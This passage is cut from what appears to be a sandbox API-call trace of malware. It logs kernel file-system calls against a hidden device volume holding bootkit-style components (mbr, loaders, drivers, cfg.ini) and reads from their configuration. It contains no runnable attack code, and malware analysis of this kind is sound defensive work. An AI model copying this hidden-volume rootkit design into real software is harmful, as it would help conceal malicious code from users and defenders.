ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.451] KeLeaveCriticalRegion () [0119.451] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.452] KeEnterCriticalRegion () [0119.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.452] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.452] IdePortDispatch () returned 0x103 [0119.452] KeWaitForMutexObject () returned 0x0 [0119.452] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.452] KeLeaveCriticalRegion () [0119.452] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.452] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.452] KeEnterCriticalRegion () [0119.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.452] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d8b000 [0119.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.452] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.452] IdePortDispatch () returned 0x103 [0119.452] KeWaitForMutexObject () returned 0x0 [0119.452] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.452] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.452] IdePortDispatch () returned 0x103 [0119.453] KeWaitForMutexObject () returned 0x0 [0119.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.453] KeLeaveCriticalRegion () [0119.453] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.453] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.453] KeEnterCriticalRegion () [0119.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.453] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.453] KeLeaveCriticalRegion () [0119.453] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.453] KeEnterCriticalRegion () [0119.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.453] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.453] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.453] KeLeaveCriticalRegion () [0119.453] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.453] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.453] KeEnterCriticalRegion () [0119.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.453] ExFreePoolWithTag (P=0xfffffa8003bdbfb0, Tag=0x0) [0119.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.453] KeLeaveCriticalRegion () [0119.453] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.454] ReleaseMutex (hMutex=0xf0) returned 1 [0119.454] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.454] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.454] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.454] KeEnterCriticalRegion () [0119.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.454] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.454] IdePortDispatch () returned 0x103 [0119.454] KeWaitForMutexObject () returned 0x0 [0119.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.454] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.454] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.454] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.454] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.454] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdb590 [0119.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.454] KeLeaveCriticalRegion () [0119.454] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.454] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.454] KeEnterCriticalRegion () [0119.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.454] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.454] KeLeaveCriticalRegion () [0119.454] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.454] KeEnterCriticalRegion () [0119.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.454] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.454] IdePortDispatch () returned 0x103 [0119.455] KeWaitForMutexObject () returned 0x0 [0119.455] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.455] KeLeaveCriticalRegion () [0119.455] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.455] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.455] KeEnterCriticalRegion () [0119.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.455] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d8c000 [0119.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.455] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.455] IdePortDispatch () returned 0x103 [0119.455] KeWaitForMutexObject () returned 0x0 [0119.455] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.455] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.455] IdePortDispatch () returned 0x103 [0119.455] KeWaitForMutexObject () returned 0x0 [0119.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.455] KeLeaveCriticalRegion () [0119.455] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.456] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.456] KeEnterCriticalRegion () [0119.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.456] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.456] KeLeaveCriticalRegion () [0119.456] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.456] KeEnterCriticalRegion () [0119.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.456] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.456] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.456] KeLeaveCriticalRegion () [0119.456] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.456] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.456] KeEnterCriticalRegion () [0119.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.456] ExFreePoolWithTag (P=0xfffffa8003bdb590, Tag=0x0) [0119.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.456] KeLeaveCriticalRegion () [0119.456] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.457] ReleaseMutex (hMutex=0xf0) returned 1 [0119.457] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.457] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.457] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.457] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.457] KeEnterCriticalRegion () [0119.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.457] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.457] IdePortDispatch () returned 0x103 [0119.457] KeWaitForMutexObject () returned 0x0 [0119.457] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.457] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.457] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.457] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.457] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.457] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.457] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.457] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.457] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.457] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.457] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.457] KeLeaveCriticalRegion () [0119.457] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.457] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.457] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.457] KeEnterCriticalRegion () [0119.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.458] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.458] IdePortDispatch () returned 0x103 [0119.458] KeWaitForMutexObject () returned 0x0 [0119.458] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.458] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.458] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.458] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.458] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.458] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.458] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.458] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.458] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.458] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.458] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.458] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.458] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.458] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.458] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.458] KeLeaveCriticalRegion () [0119.458] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.458] ReleaseMutex (hMutex=0x100) returned 1 [0119.458] Sleep (dwMilliseconds=0x2bf20) [0119.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a66f990, dwHighDateTime=0x1d24fa4)) [0119.464] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.464] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.464] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.464] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.464] KeEnterCriticalRegion () [0119.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.464] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.464] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.464] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.464] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.465] IdePortDispatch () returned 0x103 [0119.465] KeWaitForMutexObject () returned 0x0 [0119.465] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.465] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.465] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.465] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.465] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.465] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbfb0 [0119.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.465] KeLeaveCriticalRegion () [0119.465] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.465] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.465] KeEnterCriticalRegion () [0119.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.465] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.465] KeLeaveCriticalRegion () [0119.465] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.465] KeEnterCriticalRegion () [0119.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.465] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.465] IdePortDispatch () returned 0x103 [0119.465] KeWaitForMutexObject () returned 0x0 [0119.465] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.465] KeLeaveCriticalRegion () [0119.465] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.466] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.466] KeEnterCriticalRegion () [0119.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.466] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d8f000 [0119.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.466] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.466] IdePortDispatch () returned 0x103 [0119.466] KeWaitForMutexObject () returned 0x0 [0119.466] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.466] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.466] IdePortDispatch () returned 0x103 [0119.466] KeWaitForMutexObject () returned 0x0 [0119.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.466] KeLeaveCriticalRegion () [0119.466] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.467] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.467] KeEnterCriticalRegion () [0119.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.467] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.467] KeLeaveCriticalRegion () [0119.467] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.467] KeEnterCriticalRegion () [0119.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.467] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.467] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.467] KeLeaveCriticalRegion () [0119.467] IofCompleteRequest 